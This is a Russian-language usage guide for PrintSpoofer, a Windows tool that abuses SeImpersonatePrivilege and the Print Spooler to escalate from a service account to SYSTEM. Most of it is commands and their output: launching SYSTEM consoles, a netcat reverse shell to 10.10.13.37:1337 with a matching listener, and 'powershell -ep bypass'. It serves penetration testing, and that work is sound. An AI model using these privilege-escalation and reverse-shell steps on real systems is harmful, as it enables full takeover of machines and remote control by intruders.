
Злоупотребление привилегиями олицетворения через 'Printer Bug'
От LOCAL/NETWORK SERVICE до SYSTEM через злоупотребление привилегией SeImpersonatePrivilege на Windows 10 и Server 2016/2019.
Для дополнительной информации: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/.
Вы можете просмотреть справку, используя опцию -h.
C:\TOOLS>PrintSpoofer.exe -h
PrintSpoofer v0.1 (от @itm4n)
При условии, что текущий пользователь имеет привилегию SeImpersonate, этот инструмент использует
службу диспетчера печати, чтобы получить токен SYSTEM, а затем запустить пользовательскую команду с помощью CreateProcessAsUser()
Аргументы:
-c <CMD> Выполнить команду *CMD*
-i Взаимодействовать с новым процессом в текущей командной строке (по умолчанию неинтерактивно)
-d <ID> Создать новый процесс на рабочем столе, соответствующем этому сеансу *ID* (узнайте свой ID с помощью qwinsta)
-h Это я :)
Примеры:
- Запустить PowerShell как SYSTEM в текущей консоли
PrintSpoofer.exe -i -c powershell.exe
- Запустить командную строку SYSTEM на рабочем столе сеанса 1
PrintSpoofer.exe -d 1 -c cmd.exe
- Получить обратную оболочку SYSTEM
PrintSpoofer.exe -c "c:\Temp\nc.exe 10.10.13.37 1337 -e cmd"
Если у вас есть интерактивная оболочка, вы можете создать новый процесс SYSTEM в текущей консоли.
Сценарий использования: привязанная оболочка, обратная оболочка, psexec.py и т.д.
C:\TOOLS>PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
Если вы можете выполнять команды, но у вас нет интерактивной оболочки, вы можете создать новый процесс SYSTEM и сразу выйти, не взаимодействуя с ним.
Сценарий использования: WinRM, WebShell, wmiexec.py, smbexec.py и т.д.
Создать обратную оболочку:
C:\TOOLS>PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Слушатель Netcat:
C:\TOOLS>nc.exe -l -p 1337
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
Если вы вошли в систему локально или через RDP (включая VDI), вы можете создать командную строку SYSTEM на рабочем столе. Сначала проверьте свой ID сеанса с помощью команды qwinsta, а затем укажите это значение с параметром -d.
Сценарий использования: Терминальный сеанс (RDP), VDI
C:\TOOLS>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
>rdp-tcp#3 lab-user 3 Active
rdp-tcp 65536 Listen
C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK